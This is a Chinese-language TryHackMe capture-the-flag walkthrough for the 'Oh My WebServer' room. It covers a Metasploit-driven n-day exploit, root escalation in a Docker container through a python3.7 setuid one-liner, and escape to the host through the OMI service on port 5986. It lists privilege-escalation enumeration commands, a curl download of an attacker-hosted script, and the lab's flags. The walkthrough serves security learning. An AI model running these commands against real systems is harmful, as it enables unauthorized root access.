[TryHackMe]Oh My WebServer(nday漏洞+容器逃逸)

1.信息收集

nmap扫描

查找相应exploit

2.GetShell

使用msfconsole

设置好参数后getshell

home中没有任何东西

在根目录下有个.dockerenv文件

我们可以判断我们的shell在docker容器中

3.容器提权

Linux提权基本手段:

1.SUID提权 find / -type f -perm -040000 -l 2>/dev/null

2.sudo部分权限 提权 sudo -l

3.修改二进制文件提权 getcap -r / 2>/dev/null

4.查看任务表定时启动文件提权 cat /etc/crontab

5.PATH权限提权 echo $PATH

6.NFS网络文件共享提权 cat /etc/exports

查看二进制文件发现py3.7

复制代码
/usr/bin/python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'

THM{eacffefe1d2aafcc15e70dc2f07f7ac1}

4.容器逃逸 从root(Docker)到root(主机)

我找找到了

172.17.0.2

编写一个脚本

上传脚本

curl http://IP/1.py

查看开放端口

复制代码
port 22 is open
port 80 is open
port 5986 is open

5986端口正在托管 OMI 服务

复制代码
python3 omi.py -t 172.17.0.1 -c 'cat /root/root.txt'

THM{7f147ef1f36da9ae29529890a1b6011f}

相关推荐
dyxal1 天前
非对称加密:彻底解决密钥分发难题的数字安全革命
服务器·网络·安全
写代码的学渣1 天前
Ubuntu/麒麟默认锁定root账户
linux·运维·ubuntu
少云清1 天前
【功能测试】4_Web端抓包 _网络知识
网络·功能测试·抓包
刚哥的进化路1 天前
Linux系统日志管理完全教程:从基础查看 to 集中分析(附实战命令)
运维·自动化运维
互联网小顽童1 天前
Linux系统进阶管理教程:从基础操作到企业级运维(附实战命令)
运维·自动化运维
面对疾风叭!哈撒给1 天前
Docker之 Portainer、Node-RED和EMQX安装与配置
运维·docker·容器
RisunJan1 天前
Linux命令-exportfs命令(管理NFS服务器上共享文件系统)
linux·运维·服务器
小吃饱了1 天前
docker制作镜像
运维·docker·容器
LSL666_1 天前
云服务器安装Tomcat
运维·服务器·tomcat
若汝棋茗1 天前
串口客户端背后的故事:TouchSocket SerialPortClient 探秘
运维·负载均衡